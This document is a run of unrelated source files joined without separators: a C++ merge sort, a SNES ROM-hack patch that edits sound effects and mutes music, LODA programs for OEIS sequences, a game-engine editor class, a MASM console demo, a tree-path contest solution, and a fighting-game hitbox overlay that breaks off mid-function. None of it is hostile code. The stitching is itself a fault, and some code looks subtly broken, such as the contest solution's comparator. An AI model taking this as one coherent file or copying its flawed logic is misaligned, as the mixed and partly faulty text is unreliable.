#include<iostream> using namespace std; void swapping(int &a, int &b) { int temp; temp = a; a = b; b = temp; } void display(int *array, int size) { for(int i = 0; i<size; i++) cout << array[i] << " "; cout << endl; } void merge(int *array, int l, int m, int r) { int i, j, k, nl, nr; nl = m-l+1; nr = r-m; int larr[nl], rarr[nr]; for(i = 0; i<nl; i++) larr[i] = array[l+i]; for(j = 0; j<nr; j++) rarr[j] = array[m+1+j]; i = 0; j = 0; k = l; while(i < nl && j<nr) { if(larr[i] <= rarr[j]) { array[k] = larr[i]; i++; }else{ array[k] = rarr[j]; j++; } k++; } while(i<nl) { array[k] = larr[i]; i++; k++; } while(j<nr) { array[k] = rarr[j]; j++; k++; } } void mergeSort(int *array, int l, int r) { int m; if(l < r) { int m = l+(r-l)/2; // Sort first and second arrays mergeSort(array, l, m); mergeSort(array, m+1, r); merge(array, l, m, r); } } int main() { int n; cout << "Enter the number of elements: "; cin >> n; int arr[n]; cout << "Enter elements:" << endl; for(int i = 0; i<n; i++) { cin >> arr[i]; } cout << "Array before Sorting: "; display(arr, n); mergeSort(arr, 0, n-1); cout << "Array after Sorting: "; display(arr, n); }
lorom ; x button hook ;---------------------------------------- ; inside dungeon/room org $0287FB InsideDungeon_XButton: JSL Dungeon_XButton_Hook ;---------------------------------------- org $0DBB67 Sound_SetSfxPanWithPlayerCoords: org $0DBB8A Sound_SetSfx3PanLong: org $258000 ;---------------------------------------- Dungeon_XButton_Hook: LDA $F6 : AND.b #$40 : BEQ .xIsNotPressed ; x pressed code LDA.b #$0F : JSL Sound_SetSfx3PanLong ; 0A is start up chime ; 0F is chest item get sound .xIsNotPressed LDA #$00 RTL ;---------------------------------------- org $8888 Sound_LoadSongBank: org $8900 ; change Sound_LoadSongBank to be JSL able RTL org $890D ; change Sound_LoadIntroSongBank to JSL to Sound_LoadSongBank JSL NewLoadSoundBank_Intro org $891F ; JSL NewLoadSoundBank org $23F000 NewLoadSoundBank_Intro: ; restore SEI JSL Sound_LoadSongBank ; change to be JSL RTL NewLoadSoundBank: ; restore SEI JSL Sound_LoadSongBank ; change to be JSL RTL OnInitFileSelect: { SEI ; Shut down NMI until music loads STZ $4200 ; Stop all HDMA STZ $420C STZ $0136 LDA.b #$FF : STA $2140 ; new code ; load up our new instrument and sample incbin LDA.b #$00 : STA $00 LDA.b #$80 : STA $01 LDA.b #$26 : STA $02 JSL Sound_LoadSongBank CLI LDA.b #$81 : STA $4200 JSL $00893D;Restore the previous code RTL } ; TODO: move this to main hooks org $0CCD9D JSL OnInitFileSelect ; set heart pick up sound to item get org $08C4CF db #$0F ; default is #$0B ; sound fx 3, #$0F background note org $1A8D58 db $00 ; sound fx 3, #$0F background note #2? not sure what this does exactly org $1A8D97 db $00 ; 0xD1869 org $1A9869 ; sound fx 3, #$0F tracker data ; original is E0 0B 10 78 B9 BA BB 60 BC 00 db $E0, $19 ; set instrument $0B db $7f ; length ;db $ed, $e0 db $97 ; note to play db $00 ; end ; sample 19 - FFFF FFFF in vanila org $198068 db $88, $31, $FC, $38 ; sfx instrument 19 org $268000 db $09, $00, $E1, $3E ; Format: 9 bytes per sample instrument. ; Byte 0: Left volume ; Byte 1: Right volume ; Byte 2: Starting pitch 1 ; Byte 3: Starting pitch 2 ; Byte 4: Sample (SRCN) number ; Byte 5: ADSR 1 / GAIN ; Byte 6: ADSR 2 ; Byte 7: GAIN ; Byte 8: Tuning db $7F, $7F, $00, $00, $19, $FF, $F0, $70, $04 ; what.brr ; 774bytes -> ARAM $3188 db $74, $07, $88, $31 incbin what4.brr db $00, $00, $00, $08 ; turn off the music (vol = 0) org $1AB73B db $00 org $1AB75B db $00 org $1B90F8 db $00 org $1BA710 db $00 org $1BA7A4 db $00 org $1BA7BB db $00 org $1BA7D2 db $00 org $1AD954 db $00 org $1AE53B db $00 org $1BA736 db $00 org $1BA752 db $00 org $1BA772 db $00 org $1BA792 db $00 org $1ADB47 db $00 org $1ADB5E db $00 org $1AC306 db $00 org $1AE878 db $00 org $1AE883 db $00 org $1AEE48 db $00 org $1AEE76 db $00 org $1AEEFB db $00 org $1AEF2D db $00 org $1BA211 db $00 org $1BA35B db $00 org $1BA37B db $00 org $1BA38E db $00 org $1BA39F db $00 org $1BA5C3 db $00 org $1BA691 db $00 org $1BA6A8 db $00 org $1BA6DF db $00 org $1AA349 db $00 org $1ABF45 db $00 org $1AC2EB db $00 org $1AC8B9 db $00 org $1AC8FF db $00 org $1AD43F db $00 org $1AD817 db $00 org $1AD957 db $00 org $1ADACB db $00 org $1ADAE8 db $00 org $1ADB4A db $00 org $1BA5DE db $00 org $1BA608 db $00 org $1BA635 db $00 org $1BA662 db $00 org $1BA71F db $00 org $1BA7AF db $00 org $1BA7C6 db $00 org $1BA7DD db $00 org $1AAF00 db $00 org $1BA3D5 db $00 org $1AA49C db $00 org $1AA4CD db $00 org $1AAC09 db $00 org $1AAC53 db $00 org $1AACAF db $00 org $1AACEB db $00 org $1AAD91 db $00 org $1AAEE6 db $00 org $1AB8ED db $00 org $1ABC91 db $00 org $1ABCD3 db $00 org $1ABCE8 db $00 org $1ABF0C db $00 org $1ABF82 db $00 org $1AC05F db $00 org $1AC139 db $00 org $1AC198 db $00 org $1AC1D5 db $00 org $1AC1F6 db $00 org $1AC22B db $00 org $1AC270 db $00 org $1AC2B1 db $00 org $1AC334 db $00 org $1AC371 db $00 org $1AC3A6 db $00 org $1AC3DB db $00 org $1AC41E db $00 org $1AC597 db $00 org $1ACB3C db $00 org $1ACBAB db $00 org $1ACC03 db $00 org $1ACC53 db $00 org $1ACC7F db $00 org $1ACD9C db $00 org $1AD424 db $00 org $1AE5D2 db $00 org $1AE64F db $00 org $1AE698 db $00 org $1AE6FF db $00 org $1AE985 db $00 org $1AEC5C db $00 org $1AEC6F db $00 org $1AEC8E db $00 org $1AECB4 db $00 org $1AED7D db $00 org $1B827D db $00 org $1B960C db $00 org $1B9828 db $00 org $1BA233 db $00 org $1BA3A2 db $00 org $1BA49E db $00 org $1BA72B db $00 org $1BA745 db $00 org $1BA765 db $00 org $1BA785 db $00 org $1BABF6 db $00 org $1BAC0D db $00 org $1BAEBE db $00 org $1BAFAC db $00 org $1B9A02 db $00 org $1B9BD6 db $00 org $1AA1CD db $00 org $1AA279 db $00 org $1AAE66 db $00 org $1AAE70 db $00 org $1AAEAB db $00 org $1ABB97 db $00 org $1ABBAC db $00 org $1ABBE8 db $00 org $1ABC0D db $00 org $1ABC39 db $00 org $1ABC68 db $00 org $1ABC9F db $00 org $1ABCBC db $00 org $1AC01E db $00 org $1AC290 db $00 org $1AC43E db $00 org $1AC56F db $00 org $1AC7D3 db $00 org $1ACD43 db $00 org $1ACDCC db $00 org $1ACEBA db $00 org $1ACF0B db $00 org $1ACFE5 db $00 org $1AD012 db $00 org $1AD4BC db $00 org $1AD4D5 db $00 org $1AD4F0 db $00 org $1AD509 db $00 org $1AD7D8 db $00 org $1AD9B9 db $00 org $1ADA2F db $00 org $1ADAEB db $00 org $1ADE5E db $00 org $1ADFE9 db $00 org $1AE58F db $00 org $1AE74A db $00 org $1AE827 db $00 org $1AE9D6 db $00 org $1AE9F5 db $00 org $1AEA05 db $00 org $1AEAE9 db $00 org $1AEDCF db $00 org $1AEE20 db $00 org $1AEECB db $00 org $1AF1D4 db $00 org $1AF1E6 db $00 org $1AF203 db $00 org $1AF21E db $00 org $1B8724 db $00 org $1B8732 db $00 org $1B9652 db $00 org $1B9698 db $00 org $1B9CBC db $00 org $1B9DC0 db $00 org $1B9E49 db $00 org $1BAA68 db $00 org $1BAA77 db $00 org $1BAA88 db $00 org $1BAA99 db $00 org $1BAF04 db $00 org $1A9D28 db $00 org $1A9D41 db $00 org $1A9D5C db $00 org $1A9D77 db $00 org $1A9EEE db $00 org $1AB11D db $00 org $1AB1D1 db $00 org $1AC148 db $00 org $1AD543 db $00 org $1ADB6F db $00 org $1AE5B3 db $00 org $1AE760 db $00 org $1AEB6B db $00 org $1AEDF6 db $00 org $1AEE0D db $00 org $1AF3A1 db $00 org $1B814C db $00 org $1B825D db $00 org $1B82BE db $00 org $1B8340 db $00 org $1B8394 db $00 org $1B842C db $00 org $1B8796 db $00 org $1B8903 db $00 org $1B892A db $00 org $1B91E8 db $00 org $1B922B db $00 org $1B92E0 db $00 org $1B937E db $00 org $1B93C1 db $00 org $1BA958 db $00 org $1BA971 db $00 org $1BA98C db $00 org $1BA9A7 db $00 org $1A9D92 db $00 org $1A9DBD db $00 org $1A9DEB db $00 org $1A9F5D db $00 org $1A9F9F db $00 org $1A9FBD db $00 org $1A9FDC db $00 org $1A9FEA db $00 org $1AA0CA db $00 org $1AA1BB db $00 org $1AA2C9 db $00 org $1AA754 db $00 org $1AA84C db $00 org $1AA866 db $00 org $1AA887 db $00 org $1AA8A0 db $00 org $1AA8BA db $00 org $1AA8DB db $00 org $1AA8F4 db $00 org $1AA93E db $00 org $1AABF3 db $00 org $1AAC1F db $00 org $1AAC69 db $00 org $1AACA1 db $00 org $1AACC5 db $00 org $1AAD05 db $00 org $1AAD73 db $00 org $1AADAF db $00 org $1AAE3D db $00 org $1AAF36 db $00 org $1AAF46 db $00 org $1AAF6F db $00 org $1AAFCF db $00 org $1AAFDF db $00 org $1AB02B db $00 org $1AB086 db $00 org $1AB099 db $00 org $1AB0A5 db $00 org $1AB0CD db $00 org $1AB0F6 db $00 org $1AB154 db $00 org $1AB184 db $00 org $1AB33A db $00 org $1AB3D9 db $00 org $1AB49F db $00 org $1AB54A db $00 org $1AB5E5 db $00 org $1AB624 db $00 org $1AB63C db $00 org $1AB672 db $00 org $1AB691 db $00 org $1AB6B4 db $00 org $1AB6C6 db $00 org $1AB724 db $00 org $1AB767 db $00 org $1AB8CB db $00 org $1ABB1D db $00 org $1ABB2F db $00 org $1ABB55 db $00 org $1ABB70 db $00 org $1ABB81 db $00 org $1ABBBF db $00 org $1ABD34 db $00 org $1ABD55 db $00 org $1ABD6E db $00 org $1ABDC6 db $00 org $1ABE04 db $00 org $1ABE38 db $00 org $1ABF65 db $00 org $1ABFA6 db $00 org $1AC04F db $00 org $1AC087 db $00 org $1AC17A db $00 org $1AC1A0 db $00 org $1AC25C db $00 org $1AC319 db $00 org $1AC33C db $00 org $1AC3EF db $00 org $1AC40C db $00 org $1AC452 db $00 org $1AC494 db $00 org $1AC4B5 db $00 org $1AC512 db $00 org $1AC5D1 db $00 org $1AC5EF db $00 org $1AC682 db $00 org $1AC6C3 db $00 org $1AC83C db $00 org $1AC848 db $00 org $1AC855 db $00 org $1AC862 db $00 org $1AC86F db $00 org $1AC87C db $00 org $1ACA1C db $00 org $1ACA3B db $00 org $1ACA60 db $00 org $1ACB27 db $00 org $1ACC7A db $00 org $1ACD12 db $00 org $1ACD81 db $00 org $1ACE90 db $00 org $1ACED6 db $00 org $1ACEE2 db $00 org $1AD005 db $00 org $1AD02E db $00 org $1AD03C db $00 org $1AD081 db $00 org $1AD1B1 db $00 org $1AD1C7 db $00 org $1AD1CF db $00 org $1AD1EF db $00 org $1AD20C db $00 org $1AD214 db $00 org $1AD231 db $00 org $1AD257 db $00 org $1AD26D db $00 org $1AD275 db $00 org $1AD2AF db $00 org $1AD2BD db $00 org $1AD2CD db $00 org $1AD2DB db $00 org $1AD49C db $00 org $1AD801 db $00 org $1AD8A4 db $00 org $1ADA68 db $00 org $1ADA7F db $00 org $1ADC12 db $00 org $1ADD71 db $00 org $1ADE10 db $00 org $1ADE9A db $00 org $1ADF8B db $00 org $1ADFA4 db $00 org $1AE51A db $00 org $1AE542 db $00 org $1AE5ED db $00 org $1AE61D db $00 org $1AE6D7 db $00 org $1AE776 db $00 org $1AE8BD db $00 org $1AE8E5 db $00 org $1AE956 db $00 org $1AE973 db $00 org $1AE9A8 db $00 org $1AEA51 db $00 org $1AEA86 db $00 org $1AEB96 db $00 org $1AEC3E db $00 org $1AED4A db $00 org $1AEE9C db $00 org $1AEF80 db $00 org $1AF17E db $00 org $1AF190 db $00 org $1AF1B9 db $00 org $1B811D db $00 org $1B8139 db $00 org $1B816B db $00 org $1B818A db $00 org $1B819E db $00 org $1B81BE db $00 org $1B829C db $00 org $1B82E1 db $00 org $1B8306 db $00 org $1B830E db $00 org $1B835E db $00 org $1B83AB db $00 org $1B83CA db $00 org $1B83F0 db $00 org $1B83F8 db $00 org $1B844B db $00 org $1B8479 db $00 org $1B849E db $00 org $1B84CB db $00 org $1B84EB db $00 org $1B84F3 db $00 org $1B854A db $00 org $1B8573 db $00 org $1B859D db $00 org $1B85B4 db $00 org $1B85CE db $00 org $1B862A db $00 org $1B8681 db $00 org $1B87E3 db $00 org $1B87FF db $00 org $1B887B db $00 org $1B88C6 db $00 org $1B88E3 db $00 org $1B8944 db $00 org $1B897B db $00 org $1B8C97 db $00 org $1B8CA4 db $00 org $1B8CB3 db $00 org $1B8CC2 db $00 org $1B8CD1 db $00 org $1B8D01 db $00 org $1B917B db $00 org $1B918C db $00 org $1B919A db $00 org $1B91B5 db $00 org $1B91D0 db $00 org $1B91DD db $00 org $1B9220 db $00 org $1B9273 db $00 org $1B9284 db $00 org $1B9292 db $00 org $1B92AD db $00 org $1B92C8 db $00 org $1B92D5 db $00 org $1B9311 db $00 org $1B9322 db $00 org $1B9330 db $00 org $1B934B db $00 org $1B9366 db $00 org $1B9373 db $00 org $1B93B6 db $00 org $1B97A6 db $00 org $1B97C2 db $00 org $1B97DC db $00 org $1B97FB db $00 org $1B9811 db $00 org $1B98FF db $00 org $1B996F db $00 org $1B99A8 db $00 org $1B99D5 db $00 org $1B9A30 db $00 org $1B9A4E db $00 org $1B9A6B db $00 org $1B9A88 db $00 org $1B9AF7 db $00 org $1B9B1D db $00 org $1B9B43 db $00 org $1B9B7C db $00 org $1B9BA9 db $00 org $1B9C84 db $00 org $1B9C8D db $00 org $1B9CAC db $00 org $1B9CE8 db $00 org $1B9CF3 db $00 org $1B9CFD db $00 org $1B9D46 db $00 org $1BA35E db $00 org $1BA37E db $00 org $1BA391 db $00 org $1BA478 db $00 org $1BA4C3 db $00 org $1BA4D7 db $00 org $1BA4F6 db $00 org $1BA515 db $00 org $1BA6E2 db $00 org $1BA9C2 db $00 org $1BA9ED db $00 org $1BAA1B db $00 org $1BAA57 db $00 org $1BABAF db $00 org $1BABC9 db $00 org $1BABE2 db $00 org $1BAC28 db $00 org $1BAC46 db $00 org $1BAC63 db $00 org $1BACB8 db $00 org $1BACEC db $00 org $1BAD08 db $00 org $1BAD25 db $00 org $1BAD42 db $00 org $1BAD5F db $00 org $1BAE17 db $00 org $1BAE34 db $00 org $1BAE51 db $00 org $1BAF2E db $00 org $1BAF55 db $00 org $1BAF6B db $00 org $1BAF81 db $00 org $1BB14F db $00 org $1BB16B db $00 org $1BB180 db $00 org $1BB195 db $00 org $1BB1AA db $00 org $1AAB88 db $00 org $1AB64A db $00 org $1AB69F db $00 org $1AB747 db $00 org $1AA13F db $00 org $1AA174 db $00 org $1AA29E db $00 org $1AA426 db $00 org $1AC731 db $00 org $1AC753 db $00 org $1AC774 db $00 org $1AC795 db $00 org $1AC7B6 db $00 org $1ACAA5 db $00 org $1ACAE4 db $00 org $1ACB96 db $00 org $1ACCA5 db $00 org $1AD477 db $00 org $1ADA3D db $00 org $1AE566 db $00 org $1AE72C db $00 org $1AE7C0 db $00 org $1AE9B8 db $00 org $1AEAB1 db $00 org $1AEC05 db $00 org $1AEDB3 db $00 org $1AF1AB db $00 org $1B8E2D db $00 org $1B8F0D db $00 org $1B94E0 db $00 org $1B9544 db $00 org $1B95A8 db $00 org $1B9982 db $00 org $1B9B56 db $00 org $1BA694 db $00 org $1BA6AB db $00 org $1BAE88 db $00 org $1BAEC8 db $00 org $1BAEE6 db $00 org $1BB1BF db $00 org $1AA10A db $00 org $1AA2DC db $00 org $1AA447 db $00 org $1ADA4D db $00 org $1ADDDC db $00 org $1BA251 db $00 org $1BA26C db $00 org $1B945E db $00 org $1B967D db $00 org $1B96C2 db $00 org $1B9C95 db $00 org $1B9EE6 db $00 org $1BA5C6 db $00 org $1AA047 db $00 org $1AA4C2 db $00 org $1AA4EC db $00 org $1AA5A4 db $00 org $1ABDAA db $00 org $1AD1A8 db $00 org $1AD1E6 db $00 org $1AD24E db $00 org $1AD29E db $00 org $1AE045 db $00 org $1B81DE db $00 org $1B821E db $00 org $1B94AA db $00 org $1B9A9E db $00 org $1B9AE4 db $00 org $1BA289 db $00 org $1AA085 db $00 org $1AA1C5 db $00 org $1ADF28 db $00
Name: kart-drive-back.asm Type: file Size: 17067 Last-Modified: '1991-11-29T03:29:32Z' SHA-1: 3F14690689142D8ED57223B4BC25FA1DD56F470A Description: null
; A063492: a(n) = (2*n - 1)*(11*n^2 - 11*n + 6)/6. ; 1,14,60,161,339,616,1014,1555,2261,3154,4256,5589,7175,9036,11194,13671,16489,19670,23236,27209,31611,36464,41790,47611,53949,60826,68264,76285,84911,94164,104066,114639,125905,137886,150604,164081,178339,193400,209286,226019,243621,262114,281520,301861,323159,345436,368714,393015,418361,444774,472276,500889,530635,561536,593614,626891,661389,697130,734136,772429,812031,852964,895250,938911,983969,1030446,1078364,1127745,1178611,1230984,1284886,1340339,1397365,1455986,1516224,1578101,1641639 lpb $0 mov $2,$0 sub $0,1 add $1,10 seq $2,158689 ; a(n) = 66*n^2 + 1. add $1,$2 add $1,1 lpe div $1,6 add $1,1 mov $0,$1
#include "cube_light_custom_editor.h" #include "engine/core/editor/editor.h" #include "engine/core/math/Curve.h" #include "engine/core/main/Engine.h" namespace Echo { #ifdef ECHO_EDITOR_MODE CubeLightCustomEditor::CubeLightCustomEditor(Object* object) : ObjectEditor(object) { m_gizmo = ECHO_DOWN_CAST<Echo::Gizmos*>(Echo::Class::create("Gizmos")); m_gizmo->setName(StringUtil::Format("gizmo_obj_%d", m_object->getId())); m_albedo = (Texture*)Echo::Res::get(Engine::instance()->getRootPath() + "engine/modules/light/editor/icon/ibl_custom.png"); } CubeLightCustomEditor::~CubeLightCustomEditor() { EchoSafeDelete(m_gizmo, Gizmos); } ImagePtr CubeLightCustomEditor::getThumbnail() const { return Image::loadFromFile(Engine::instance()->getRootPath() + "engine/modules/light/editor/icon/ibl_custom.png"); } void CubeLightCustomEditor::onEditorSelectThisNode() { } void CubeLightCustomEditor::editor_update_self() { m_gizmo->clear(); CubeLightCustom* audioPlayer = ECHO_DOWN_CAST<CubeLightCustom*>(m_object); if (audioPlayer && m_albedo) { m_gizmo->setRenderType("3d"); m_gizmo->drawSprite(audioPlayer->getWorldPosition(), Color::WHITE, 120.f, m_albedo, Gizmos::RenderFlags::FixedPixel); } m_gizmo->update(Engine::instance()->getFrameTime(), true); } #endif }
; A166776: Number of nX2 1..3 arrays containing at least one of each value, all equal values connected, and rows considered as a single number in nondecreasing order. ; 0,12,51,135,286,530,897,1421,2140,3096,4335,5907,7866,10270,13181,16665,20792,25636,31275,37791,45270,53802,63481,74405,86676,100400,115687,132651,151410,172086,194805,219697,246896,276540,308771,343735,381582,422466,466545,513981,564940,619592,678111,740675,807466,878670,954477,1035081,1120680,1211476,1307675,1409487,1517126,1630810,1750761,1877205,2010372,2150496,2297815,2452571,2615010,2785382,2963941,3150945,3346656,3551340,3765267,3988711,4221950,4465266,4718945,4983277,5258556,5545080 lpb $0 sub $0,1 mov $1,3 add $3,6 add $4,4 add $5,$3 add $3,$4 add $2,$3 sub $2,4 add $2,$5 add $1,$2 sub $5,3 lpe trn $1,3 mov $0,$1
; ######################################################################### .386 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### ; ------------------------------ ; Build this app in console mode. ; ------------------------------ include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib ; ------------ ; Local macros ; ------------ print MACRO Quoted_Text:VARARG LOCAL Txt .data Txt db Quoted_Text,0 .code invoke StdOut,ADDR Txt ENDM input MACRO Quoted_Prompt_Text:VARARG LOCAL Txt LOCAL Buffer .data Txt db Quoted_Prompt_Text,0 Buffer db 128 dup(?) .code invoke StdOut,ADDR Txt invoke StdIn,ADDR Buffer,LENGTHOF Buffer mov eax, offset Buffer ENDM cls MACRO invoke ClearScreen ENDM Main PROTO ; ######################################################################### .data Msg1 db "Type something > ",0 Msg2 db "You typed > ",0 ; ######################################################################### .code start: invoke Main invoke ExitProcess,0 ; ######################################################################### Main proc LOCAL InputBuffer[128]:BYTE ; ------------------------------- ; console mode library procedures ; ------------------------------- ; ------------ ; using macros ; ------------ cls print "Console function test",13,10,13,10 input "Enter Some Text > " invoke StdOut,eax ; return address in eax ; ---------------- ; using procedures ; ---------------- invoke locate,10,10 invoke StdOut,ADDR Msg1 invoke StdIn,ADDR InputBuffer,LENGTHOF InputBuffer invoke locate,10,11 invoke StdOut,ADDR Msg2 invoke StdOut,ADDR InputBuffer ret Main endp ; ######################################################################### end start
/* 1053 Path of Equal Weight (30 分) Given a non-empty tree with root R, and with weight W ​i ​​ assigned to each tree node T ​i ​​ . The weight of a path from R to L is defined to be the sum of the weights of all the nodes along the path from R to any leaf node L. Now given any weighted tree, you are supposed to find all the paths with their weights equal to a given number. For example, let's consider the tree showed in the following figure: for each node, the upper number is the node ID which is a two-digit number, and the lower number is the weight of that node. Suppose that the given number is 24, then there exists 4 different paths which have the same given weight: {10 5 2 7}, {10 4 10}, {10 3 3 6 2} and {10 3 3 6 2}, which correspond to the red edges in the figure. Input Specification: Each input file contains one test case. Each case starts with a line containing 0<N≤100, the number of nodes in a tree, M (<N), the number of non-leaf nodes, and 0<S<2 ​30 ​​ , the given weight number. The next line contains N positive numbers where W ​i ​​ (<1000) corresponds to the tree node T ​i ​​ . Then M lines follow, each in the format: ID K ID[1] ID[2] ... ID[K] where ID is a two-digit number representing a given non-leaf node, K is the number of its children, followed by a sequence of two-digit ID's of its children. For the sake of simplicity, let us fix the root ID to be 00. Output Specification: For each test case, print all the paths with weight S in non-increasing order. Each path occupies a line with printed weights from the root to the leaf in order. All the numbers must be separated by a space with no extra space at the end of the line. Note: sequence {A ​1 ​​ ,A ​2 ​​ ,⋯,A ​n ​​ } is said to be greater than sequence {B ​1 ​​ ,B ​2 ​​ ,⋯,B ​m ​​ } if there exists 1≤k<min{n,m} such that A ​i ​​ =B ​i ​​ for i=1,⋯,k, and A ​k+1 ​​ >B ​k+1 ​​ . Sample Input: 20 9 24 10 2 4 3 5 10 2 18 9 7 2 2 1 3 12 1 8 6 2 2 00 4 01 02 03 04 02 1 05 04 2 06 07 03 3 11 12 13 06 1 09 07 2 08 10 16 1 15 13 3 14 16 17 17 2 18 19 Sample Output: 10 5 2 7 10 4 10 10 3 3 6 2 10 3 3 6 2 */ #include <iostream> #include <vector> #include <algorithm> using namespace std; typedef struct Node { int weight; vector<int> next; } Node; Node nodes[110]; void get_right_weights(Node node, int total_weight, vector<vector<int>>* right_weights_addr, vector<int> weight_path) { weight_path.push_back(node.weight); if (node.next.size() == 0) { int sum = 0; for (int i=0; i<weight_path.size(); i++) { sum += weight_path[i]; } if (sum == total_weight) { right_weights_addr->push_back(weight_path); } return; } for (int i=0; i<node.next.size(); i++) { get_right_weights(nodes[node.next[i]], total_weight, right_weights_addr, weight_path); } } void traverse(vector<vector<int>> right_weights) { for (int i=0; i<right_weights.size(); i++) { for (int j=0; j<right_weights[i].size()-1; j++) { printf("%d ", right_weights[i][j]); } printf("%d\n", right_weights[i][right_weights[i].size()-1]); } } bool cmp(vector<int> right_weight1, vector<int> right_weight2) { int i = 0, j = 0; for (; i<right_weight1.size() and j<right_weight2.size(); i++, j++) { if (right_weight1[i] != right_weight2[j]) { return right_weight1[i] > right_weight2[j]; } } if (i==right_weight1.size()-1 and j==right_weight2.size()-1) return true; else return i < right_weight1.size() - 1; } int main() { int nodes_num, non_leaf_nodes_num, total_weight; scanf("%d %d %d", &nodes_num, &non_leaf_nodes_num, &total_weight); for (int i=0; i<nodes_num; i++) { scanf("%d", &nodes[i].weight); } while (non_leaf_nodes_num--) { int seq, children_nums; scanf("%d %d", &seq, &children_nums); int child_seq; for (int i=0; i<children_nums; i++) { scanf("%d", &child_seq); nodes[seq].next.push_back(child_seq); } } vector<vector<int>> right_weights; vector<int> weight_path; get_right_weights(nodes[0], total_weight, &right_weights, weight_path); sort(right_weights.begin(), right_weights.end(), cmp); traverse(right_weights); return 0; }
; A319384: a(n) = a(n-1) + 2*a(n-2) - 2*a(n-3) - a(n-4) + a(n-5), a(0)=1, a(1)=5, a(2)=9, a(3)=21, a(4)=29. ; 1,5,9,21,29,49,61,89,105,141,161,205,229,281,309,369,401,469,505,581,621,705,749,841,889,989,1041,1149,1205,1321,1381,1505,1569,1701,1769,1909,1981,2129,2205,2361,2441,2605,2689,2861,2949,3129,3221,3409,3505,3701,3801,4005,4109,4321,4429,4649,4761,4989,5105,5341,5461,5705,5829,6081,6209,6469,6601,6869,7005,7281,7421,7705,7849,8141,8289,8589,8741,9049,9205,9521,9681,10005,10169,10501,10669,11009,11181,11529,11705,12061,12241,12605,12789,13161,13349,13729,13921,14309,14505,14901,15101,15505,15709,16121,16329,16749,16961,17389,17605,18041,18261,18705,18929,19381,19609,20069,20301,20769,21005,21481,21721,22205,22449,22941,23189,23689,23941,24449,24705,25221,25481,26005,26269,26801,27069,27609,27881,28429,28705,29261,29541,30105,30389,30961,31249,31829,32121,32709,33005,33601,33901,34505,34809,35421,35729,36349,36661,37289,37605,38241,38561,39205,39529,40181,40509,41169,41501,42169,42505,43181,43521,44205,44549,45241,45589,46289,46641,47349,47705,48421,48781,49505,49869,50601,50969,51709,52081,52829,53205,53961,54341,55105,55489,56261,56649,57429,57821,58609,59005,59801,60201,61005,61409,62221,62629,63449,63861,64689,65105,65941,66361,67205,67629,68481,68909,69769,70201,71069,71505,72381,72821,73705,74149,75041,75489,76389,76841,77749,78205,79121,79581,80505,80969,81901,82369,83309,83781,84729,85205,86161,86641,87605,88089,89061,89549,90529,91021,92009,92505,93501 add $0,1 mul $0,2 mov $1,$0 mul $1,3 div $1,4 bin $1,2 div $1,3 mul $1,4 add $1,1
; A160272: Angle between the two hands of a 12 hour analog clock n*12 minutes after noon/midnight, measured in units of minutes. ; 0,11,22,27,16,5,6,17,28,21,10,1,12,23,26,15,4,7,18,29,20,9,2,13,24,25,14,3,8,19,30,19,8,3,14,25,24,13,2,9,20,29,18,7,4,15,26,23,12,1,10,21,28,17,6,5,16,27,22,11 mov $1,2 mul $1,$0 mul $1,44 lpb $0,1 lpb $1,1 div $0,2 sub $1,480 gcd $1,$2 lpe lpe div $1,8
; A003984: Table of max(x,y), where (x,y) = (0,0),(0,1),(1,0),(0,2),(1,1),(2,0),... ; 0,1,1,2,1,2,3,2,2,3,4,3,2,3,4,5,4,3,3,4,5,6,5,4,3,4,5,6,7,6,5,4,4,5,6,7,8,7,6,5,4,5,6,7,8,9,8,7,6,5,5,6,7,8,9,10,9,8,7,6,5,6,7,8,9,10,11,10,9,8,7,6,6,7,8,9,10,11,12,11,10,9,8,7,6,7,8,9,10,11,12,13,12,11,10,9,8,7,7,8 lpb $0,1 sub $0,1 add $1,1 mov $2,$0 trn $0,$1 lpe add $3,$2 sub $1,$3 trn $1,$3 add $1,$3
#include "HitboxOverlay.h" #include "Core/interfaces.h" #include "Game/gamestates.h" #include "Game/Jonb/JonbReader.h" #include "imgui_internal.h" void HitboxOverlay::Update() { if (HasNullptrInData() || !m_windowOpen) { return; } if (!isHitboxOverlayEnabledInCurrentState()) { return; } BeforeDraw(); ImGui::Begin("##HitboxOverlay", nullptr, m_overlayWindowFlags); Draw(); ImGui::End(); AfterDraw(); } void HitboxOverlay::BeforeDraw() { ImGui::PushStyleVar(ImGuiStyleVar_WindowBorderSize, 0.0f); ImGui::PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(0.0f, 0.0f)); ImGui::PushStyleColor(ImGuiCol_WindowBg, ImVec4(0.0f, 0.0f, 0.0f, 0.0f)); ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f)); ImGuiIO& io = ImGui::GetIO(); ImGui::SetNextWindowSize(ImVec2(io.DisplaySize.x, io.DisplaySize.y)); } void HitboxOverlay::Draw() { for (int i = 0; i < g_gameVals.entityCount; i++) { CharData* pEntity = (CharData*)g_gameVals.pEntityList[i]; const bool isCharacter = i < 2; const bool isEntityActive = pEntity->unknownStatus1 == 1 && pEntity->pJonbEntryBegin; if (isCharacter || isEntityActive) { if (!IsOwnerEnabled(pEntity->ownerEntity)) { continue; } const ImVec2 entityWorldPos = CalculateObjWorldPosition(pEntity); DrawCollisionAreas(pEntity, entityWorldPos); } } } void HitboxOverlay::AfterDraw() { ImGui::PopStyleColor(); ImGui::PopStyleVar(2); } bool HitboxOverlay::IsOwnerEnabled(CharData* ownerCharInfo) { for (int i = 0; i < 2; i++) { if (ownerCharInfo == (CharData*)g_gameVals.pEntityList[i]) { return drawCharacterHitbox[i]; } } return false; } bool HitboxOverlay::HasNullptrInData() { return !g_gameVals.pEntityList; } ImVec2 HitboxOverlay::CalculateObjWorldPosition(const CharData* charObj) { float posX = charObj->position_x_dupe - charObj->offsetX_1 + charObj->offsetX_2; float posY = charObj->position_y_dupe + charObj->offsetY_2; return ImVec2( floor(posX / 1000 * m_scale), floor(posY / 1000 * m_scale) ); } ImVec2 HitboxOverlay::CalculateScreenPosition(ImVec2 worldPos) { D3DXVECTOR3 result; D3DXVECTOR3 vec3WorldPos(worldPos.x, worldPos.y, 0.0f); WorldToScreen(g_interfaces.pD3D9ExWrapper, g_gameVals.viewMatrix, g_gameVals.projMatrix, &vec3WorldPos, &result); return ImVec2(floor(result.x), floor(result.y)); } ImVec2 HitboxOverlay::RotatePoint(ImVec2 center, float angleInRad, 